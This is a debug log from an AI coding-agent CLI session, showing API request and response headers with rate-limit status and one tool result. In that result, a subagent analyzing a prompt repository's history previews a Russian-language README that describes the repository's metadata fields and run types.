{\n[2026-09-29T07:44:37.438Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:37.446Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:37.452Z] [STDOUT]   headers: {\n[2026-09-29T07:44:37.457Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:37.468Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:37.473Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:37.478Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:37.484Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:37.487Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.495Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:37.502Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:37.509Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:37.515Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:37.519Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:37.523Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:37.528Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:37.535Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.539Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:37.543Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:37.551Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:37.555Z] [STDOUT]     \"cf-ray\": \"a4295d14f9e429ad-FRA\",\n[2026-09-29T07:44:37.560Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:37.567Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:37.569Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:37.573Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:37.578Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:37 GMT\",\n[2026-09-29T07:44:37.583Z] [STDOUT]     \"request-id\": \"req_011CfXMhD1VmhHqvxSAEwVmu\",\n[2026-09-29T07:44:37.586Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:37.589Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:37.594Z] [STDOUT]     traceresponse: \"00-5fd2821eed4c77f8eb06eced6efe1ecf-a9c9fab7d4f1ad74-01\",\n[2026-09-29T07:44:37.600Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:37.604Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:37.608Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:37.611Z] [STDOUT]   },\n[2026-09-29T07:44:37.615Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:44:37.619Z] [STDOUT] }\n[2026-09-29T07:44:37.625Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:37.628Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:37 GMT\",\n[2026-09-29T07:44:37.630Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:37.639Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:37.646Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:37.651Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:37.659Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:37.668Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:37.670Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:37.676Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:37.680Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:37.683Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:37.691Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:37.698Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:37.703Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:37.711Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:37.716Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:37.721Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.725Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:37.730Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:37.735Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:37.746Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:37.751Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.757Z] [STDOUT]   \"request-id\": \"req_011CfXMhD1VmhHqvxSAEwVmu\",\n[2026-09-29T07:44:37.759Z] [STDOUT]   \"traceresponse\": \"00-5fd2821eed4c77f8eb06eced6efe1ecf-a9c9fab7d4f1ad74-01\",\n[2026-09-29T07:44:37.763Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:37.766Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:37.768Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:37.770Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:37.773Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:37.776Z] [STDOUT]   \"cf-ray\": \"a4295d14f9e429ad-FRA\",\n[2026-09-29T07:44:37.778Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:37.784Z] [STDOUT] [log_8ec053] response parsed {\n[2026-09-29T07:44:37.788Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:37.795Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:37.797Z] [STDOUT]   body: X {\n[2026-09-29T07:44:37.802Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:37.806Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:37.811Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:37.814Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:37.822Z] [STDOUT]     },\n[2026-09-29T07:44:37.827Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:37.832Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:37.838Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:37.842Z] [STDOUT]   },\n[2026-09-29T07:44:37.846Z] [STDOUT]   durationMs: 802,\n[2026-09-29T07:44:37.850Z] [STDOUT] }\n[2026-09-29T07:44:37.855Z] [INFO] {\n[2026-09-29T07:44:37.855Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"message\": {\n[2026-09-29T07:44:37.855Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:37.855Z] [INFO]     \"content\": [\n[2026-09-29T07:44:37.855Z] [INFO]       {\n[2026-09-29T07:44:37.855Z] [INFO]         \"tool_use_id\": \"toolu_01KRn1KiWJP4NxGpjFNx2JRS\",\n[2026-09-29T07:44:37.855Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:37.855Z] [INFO]         \"content\": \"\\nOutput too large (42.6KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bd81ljdck.txt\\n\\nPreview (first 2KB):\\n`metadata.yaml` \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u043e\u043b\u0435\u0439:\\n\\n| \u041f\u043e\u043b\u0435 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| `run_id` | \u0434\u0430 | \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0432\u0438\u0434\u0430 `RUN-XXXX`, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0430\u043f\u043a\u0438. |\\n| `process` | \u0434\u0430 | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u043b\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f. |\\n| `version` | \u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0438\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\\n| `date` | \u0434\u0430 | \u0414\u0430\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 `YYYY-MM-DD`. |\\n| `author` | \u0434\u0430 | \u0410\u0432\u0442\u043e\u0440 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u0411\u0410, \u0447\u0435\u043b\u043e\u0432\u0435\u043a+LLM \u0438\u043b\u0438 \u0430\u0433\u0435\u043d\u0442. |\\n| `model` | \u0434\u0430 | \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c; \u0435\u0441\u043b\u0438 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f `not-recorded`. |\\n| `status` | \u0434\u0430 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 `draft`, `experimental`, `success`, `partial-success`, `works-with-edits`. |\\n| `run_type` | \u0434\u0430 (\u043a\u0440\u043e\u043c\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043e issue #293) | \u0422\u0438\u043f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: `execution`, `statistics` \u0438\u043b\u0438 `legacy`. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `execution`. |\\n\\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b: `source_paths`, `inputs`, `outputs`, `logs`,\\n`feedback`, `metrics`, `related_issues`, `related_artifacts`, `related_runs`.\\n\\n`metrics` \u2014 \u0431\u043b\u043e\u043a \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u044b\u0445 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (\u0432\u0432\u0435\u0434\u0451\u043d\\n[issue #271](https://github.com/G-Ivan-A/mango_ba_prompts/issues/271), \u043a\u043e\u0442\u043e\u0440\u044b\u0439\\n\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b, \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, `eval`/\u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0438 `success_rate`).\\n\u0417\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0433\u043e\u043d \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435; \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438\\n\u0442\u043e\u043a\u0435\u043d\u043e\u0432 MUST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f `token_method`, \u0430 \u043f\u0440\u0438 `success_rate` \u2014\\n`success_rate_basis` (\u043d\u0430 \u0447\u0451\u043c \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u0434\u043e\u043b\u044f). \u041f\u0440\u0438\u043c\u0435\u0440 \u2014\\n[`2026/RUN-0018/metadata.yaml`](2026/RUN-0018/metadata.yaml).\\n\\n## \u0422\u0438\u043f\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n\\n| `run_type` | \u0417\u0430\u0447\u0435\u043c \u043f\u0440\u043e\u0433\u043e\u043d | \u0427\u0442\u043e \u043a\u043b\u0430\u0434\u0451\u043c \u0432 `outputs/` | \u041f\u043e \u0447\u0435\u043c\u0443 \u0441\u0443\u0434\u0438\u043c \u043e\u0431 \u0443\u0441\u043f\u0435\u0445\u0435 | \u041f\u0440\u0438\u043c\u0435\u0440 |\\n| --- | --- | --- | --- | --- |\\n| `execution` | \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. | \u0424\u0422, \u0422\u0417, User Story, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 UC, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 acceptance criteria. | [`RUN-0012`](2026/RUN-0012/metadata.yaml) \u2014 \u0424\u0422 \u043f\u043e BCREQ-1069. |\\n...\\n\",\n[2026-09-29T07:44:37.855Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:37.855Z] [INFO]       }\n[2026-09-29T07:44:37.855Z] [INFO]     ]\n[2026-09-29T07:44:37.855Z] [INFO]   },\n[2026-09-29T07:44:37.855Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"uuid\": \"97784288-1acb-477b-b172-e4b28878ad05\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:37.486Z\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:37.855Z] [INFO] }\n[2026-09-29T07:44:37.862Z] [STDOUT] [log_29545a] sending request {\n[2026-09-29T07:44:37.867Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:37.871Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:37.877Z] [STDOUT]   options: {\n[2026-09-29T07:44:37.882Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:37.887Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:37.892Z] [STDOUT]     body: {\n[2026-09-29T07:44:37.895Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:37.900Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:37.905Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:37.911Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:37.917Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:37.924Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:37.928Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:37.948Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:37.954Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:37.958Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:37.962Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:37.967Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:37.970Z] [STDOUT]     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 },\n[2026-09-29T07:44:38.572Z] [STDOUT]   headers: {\n[2026-09-29T07:44:38.574Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:38.578Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:44:38.582Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:38.588Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:38.593Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:38.596Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:38.600Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:38.603Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:38.606Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:44:38.609Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:38.615Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:38.619Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:38.622Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:38.626Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:38.631Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:38.635Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:38.637Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:38.641Z] [STDOUT]   },\n[2026-09-29T07:44:38.645Z] [STDOUT] }\n[2026-09-29T07:44:38.647Z] [STDOUT] [log_29545a, request-id: \"req_011CfXMhGuttdFCJU6UvCmRk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 831ms\n[2026-09-29T07:44:38.649Z] [STDOUT] [log_29545a] response start {\n[2026-09-29T07:44:38.653Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:38.656Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:38.659Z] [STDOUT]   headers: {\n[2026-09-29T07:44:38.661Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:38.663Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:38.667Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:38.669Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:38.674Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:38.679Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.688Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:38.693Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:38.697Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:38.703Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:38.714Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:38.720Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:38.723Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:38.727Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.730Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:38.732Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:38.735Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:38.738Z] [STDOUT]     \"cf-ray\": \"a4295d1a9b72dbb5-FRA\",\n[2026-09-29T07:44:38.743Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:38.746Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:38.749Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:38.753Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:38.756Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:38.760Z] [STDOUT]     \"request-id\": \"req_011CfXMhGuttdFCJU6UvCmRk\",\n[2026-09-29T07:44:38.764Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:38.770Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:38.775Z] [STDOUT]     traceresponse: \"00-a7d13742c80c0f5a806ddda3407e3c3a-35367d64086e7b59-01\",\n[2026-09-29T07:44:38.780Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:38.786Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:38.789Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:38.794Z] [STDOUT]   },\n[2026-09-29T07:44:38.797Z] [STDOUT]   durationMs: 831,\n[2026-09-29T07:44:38.802Z] [STDOUT] }\n[2026-09-29T07:44:38.806Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:38.808Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:38.810Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:38.813Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:38.816Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:38.820Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:38.825Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:38.832Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:38.839Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:38.842Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:38.849Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:38.852Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:38.854Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:38.859Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:38.866Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:38.869Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:38.872Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:38.877Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.884Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:38.889Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:38.894Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:38.898Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:38.902Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.909Z] [STDOUT]   \"request-id\": \"req_011CfXMhGuttdFCJU6UvCmRk\",\n[2026-09-29T07:44:38.912Z] [STDOUT]   \"traceresponse\": \"00-a7d13742c80c0f5a806ddda3407e3c3a-35367d64086e7b59-01\",\n[2026-09-29T07:44:38.915Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:38.918Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:38.921Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:38.924Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:38.926Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:38.927Z] [STDOUT]   \"cf-ray\": \"a4295d1a9b72dbb5-FRA\",\n[2026-09-29T07:44:38.930Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:38.935Z] [STDOUT] [log_29545a] response parsed {\n[2026-09-29T07:44:38.943Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:38.945Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:38.949Z] [STDOUT]   body: X {\n[2026-09-29T07:44:38.953Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:38.955Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:38.957Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:38.958Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:38.961Z] [STDOUT]     },\n[2026-09-29T07:44:38.963Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:38.964Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:38.969Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:38.972Z] [STDOUT]   